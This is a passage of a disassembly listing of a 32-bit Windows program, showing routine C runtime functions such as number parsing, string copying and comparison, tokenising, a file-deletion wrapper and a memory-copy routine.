; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_427088	; DeleteFileA
		test	eax, eax
		jnz	short loc_41C7D2
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; sub_41E52A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: .packed:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
